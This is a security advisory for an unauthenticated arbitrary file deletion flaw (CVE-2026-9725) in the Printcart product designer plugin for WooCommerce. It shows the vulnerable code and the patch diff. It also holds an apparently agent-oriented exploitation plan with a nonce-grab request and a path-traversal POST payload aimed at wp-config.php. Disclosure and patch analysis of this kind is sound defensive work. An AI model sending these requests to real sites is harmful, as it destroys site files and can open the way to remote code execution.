Printcart Web to Print Product Designer for WooCommerce <= 2.5.2 - Unauthenticated Arbitrary File Deletion
Description
The Printcart Web to Print Product Designer for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 2.5.2 This is due to insufficient path validation in the store_design_data() function, which constructs a filesystem path from the user-supplied 'nbd_item_key' POST parameter sanitized only with sanitize_text_field() — which does not strip path traversal sequences — and then passes that path directly to Nbdesigner_IO::delete_folder() and PHP's rename(). The nonce protecting the nbd_save_customer_design AJAX action is freely obtainable by unauthenticated users via the nbd_check_use_logged_in endpoint. This makes it possible for unauthenticated attackers to delete arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=2.5.2What Changed in the Fix
Changes introduced in v2.5.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-9725 - Printcart Web to Print Product Designer Arbitrary File Deletion ## 1. Vulnerability Summary The **Printcart Web to Print Product Designer for WooCommerce** plugin (versions <= 2.5.2) contains a critical arbitrary file deletion vulnerability. The vulnera…
Show full research plan
Exploitation Research Plan: CVE-2026-9725 - Printcart Web to Print Product Designer Arbitrary File Deletion
1. Vulnerability Summary
The Printcart Web to Print Product Designer for WooCommerce plugin (versions <= 2.5.2) contains a critical arbitrary file deletion vulnerability. The vulnerability exists because the function store_design_data() (inferred to be in a core design handling file) processes a user-supplied parameter nbd_item_key without sufficient path validation.
While the parameter is sanitized with sanitize_text_field(), this function does not remove path traversal sequences (../). The resulting unsanitized path is passed to Nbdesigner_IO::delete_folder() (defined in includes/class-util.php) or PHP's rename(), allowing an unauthenticated user to delete any file the web server has permissions to access (e.g., wp-config.php).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Actions:
nbd_check_use_logged_in(to retrieve the nonce).nbd_save_customer_design(the vulnerable sink).
- Vulnerable Parameter:
nbd_item_key(POST). - Authentication: None (Action is registered for
nopriv). - Payload Type: Path Traversal (e.g.,
../../../../wp-config.php).
3. Code Flow (Inferred from Description)
- Request Entry: An unauthenticated user sends an AJAX request with the action
nbd_save_customer_design. - Nonce Verification: The plugin checks for a nonce (e.g.,
_nbnonceornonce). - Vulnerable Function Call: The handler calls
store_design_data(). - Parameter Extraction:
store_design_data()retrieves$_POST['nbd_item_key']. - Weak Sanitization: It applies
sanitize_text_field($_POST['nbd_item_key']), which preserves../. - Path Construction: The plugin constructs a path, likely:
$path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key;. - The Sink: The plugin calls
Nbdesigner_IO::delete_folder( $path ).- As seen in
includes/class-util.php:public static function delete_folder( $path ) { if ( is_dir( $path ) === true ) { // Recursive deletion... } else if ( is_file( $path ) === true ) { return unlink( $path ); // SINK: Arbitrary file deletion } return false; }
- As seen in
4. Nonce Acquisition Strategy
The vulnerability description explicitly states that the nonce for nbd_save_customer_design is obtainable via the nbd_check_use_logged_in endpoint.
- Identify Shortcode: The plugin uses shortcodes like
[nbdesigner]or[nbd_main](inferred from common WooCommerce designer patterns) to load its environment. - Create Test Page:
wp post create --post_type=page --post_title="Designer Test" --post_status=publish --post_content="[nbd_main]" - Fetch Nonce via AJAX Endpoint:
Thenbd_check_use_logged_inendpoint likely returns a JSON object containing the nonce.- Request:
POST /wp-admin/admin-ajax.php?action=nbd_check_use_logged_in - Alternative (JS Context): Navigate to the Designer Test page and use
browser_evalto find the localization object. Based on the plugin slugprintcart-integration, look for objects likenbd_design_dataornbd_main_js. - Localization Key (Hypothetical):
window.nbd_main_data?.nonceorwindow.nbd_save_nonce.
- Request:
5. Exploitation Strategy
Step 1: Obtain the Nonce
Use the http_request tool to hit the unauthenticated nonce endpoint.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Body (URL-encoded):
action=nbd_check_use_logged_in - Extract: The
noncevalue from the JSON response.
Step 2: Trigger Deletion
Use the obtained nonce to call the vulnerable action.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Body (URL-encoded):
(Note: Adjust the number ofaction=nbd_save_customer_design&nonce=[NONCE]&nbd_item_key=../../../../../../wp-config.php../based on the plugin's data directory depth, typicallywp-content/uploads/nbdesigner/temp/requires 5-6 jumps to reach root).
6. Test Data Setup
- Create Target File: Create a dummy file in the WordPress root to prove deletion without breaking the site.
touch /var/www/html/deletion-test.txt - Determine Path Depth: The plugin usually stores customer data in
wp-content/uploads/nbdesigner/.
Path to root:../../../../(fromnbdesignertowp-content, touploads, to root).
7. Expected Results
- Step 1 Response:
200 OKwith JSON containing a nonce (e.g.,{"nonce":"a1b2c3d4e5"}). - Step 2 Response:
200 OK. The response body might indicate success or be empty. - File System Change: The file
/var/www/html/deletion-test.txtwill be removed.
8. Verification Steps
- Check File Existence (via CLI):
ls /var/www/html/deletion-test.txt
Expected: "ls: cannot access ...: No such file or directory" - Confirm Target (via HTTP):
Attempt to access the file via the browser/http_request.
Expected: 404 Not Found.
9. Alternative Approaches
If nbd_check_use_logged_in does not return the nonce directly:
- Search Source for
wp_localize_script: Usegrep -r "wp_localize_script" .to find which JS object carries the nonce. - Browser Extraction:
browser_navigate("http://localhost:8080/page-with-designer-shortcode")browser_eval("window.nbdesigner_config.nonce")(or similar object key).
- Action Specifics: If
delete_folderis not called, check ifrename()is used to move a file from a controlled source to a controlled destination, effectively deleting the source or overwriting a critical file.
Summary
The Printcart Web to Print Product Designer for WooCommerce plugin (<= 2.5.2) is vulnerable to unauthenticated arbitrary file deletion due to insufficient path validation in the `store_design_data()` function. An attacker can use path traversal sequences in the 'nbd_item_key' parameter to delete critical server files, such as wp-config.php, potentially leading to remote code execution.
Vulnerable Code
// includes/class.nbdesigner.php (~ line 3704) if (isset($_POST['nbd_item_key']) && $_POST['nbd_item_key'] != '') { /* Edit design * In case edit template, $design_type = 'template' */ $nbd_item_key = sanitize_text_field($_POST['nbd_item_key']); --- // includes/class.nbdesigner.php (~ line 3246) private function store_design_data($nbd_item_key, $data, $product_config, $product_option, $product_upload) { $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key; if (file_exists($path . '_old')) Nbdesigner_IO::delete_folder($path . '_old'); --- // includes/class-util.php (~ line 94) } else if ( is_file( $path ) === true ) { return unlink( $path ); }
Security Fix
@@ -77,9 +77,82 @@ +if ( ! function_exists( 'nbd_sanitize_item_key' ) ) { + /** + * Sanitize a customer-design item key (folder name under NBDESIGNER_CUSTOMER_DIR) + * received from request input ($_GET/$_POST). + * + * @since 2.5.3 + * @param mixed $key Raw value coming from $_GET / $_POST. + * @return string Safe key ([A-Za-z0-9_-]{1,128}), or empty string if invalid. + */ + function nbd_sanitize_item_key( $key ) { + if ( ! is_scalar( $key ) ) { + return ''; + } + $key = (string) $key; + $key = basename( $key ); + if ( ! preg_match( '/^[A-Za-z0-9_\-]{1,128}$/', $key ) ) { + return ''; + } + return $key; + } +} @@ -3246,6 +3253,11 @@ private function store_design_data($nbd_item_key, $data, $product_config, $product_option, $product_upload) { + // Defensive: never touch the filesystem with an untrusted key, even if the caller forgot to sanitize. + $nbd_item_key = nbd_sanitize_item_key( $nbd_item_key ); + if ( '' === $nbd_item_key ) { + return false; + } $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key; if (file_exists($path . '_old')) Nbdesigner_IO::delete_folder($path . '_old'); @@ -3697,10 +3712,14 @@ $result['product_id'] = $product_id; $result['variation_id'] = $variation_id; if (isset($_POST['nbd_item_key']) && $_POST['nbd_item_key'] != '') { - $nbd_item_key = sanitize_text_field($_POST['nbd_item_key']); + $nbd_item_key = nbd_sanitize_item_key( $_POST['nbd_item_key'] ); + if ( '' === $nbd_item_key ) { + $result['mes'] = esc_html__( 'Invalid design key', 'web-to-print-online-designer' ); + nbd_die( $result ); + } ... (truncated)
Exploit Outline
1. **Nonce Acquisition**: An unauthenticated attacker first retrieves a valid security nonce by sending a POST request to the `wp-admin/admin-ajax.php?action=nbd_check_use_logged_in` endpoint. 2. **Payload Construction**: The attacker crafts a path traversal payload targeting a specific file on the server (e.g., `../../../../wp-config.php`). 3. **Request Trigger**: A second POST request is sent to `wp-admin/admin-ajax.php?action=nbd_save_customer_design` with the acquired nonce and the `nbd_item_key` parameter set to the traversal payload. 4. **Execution**: Because the plugin uses `sanitize_text_field()` on the input (which does not remove `../`) and subsequently passes this path to `Nbdesigner_IO::delete_folder()` or `rename()`, the targeted file is deleted from the filesystem.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.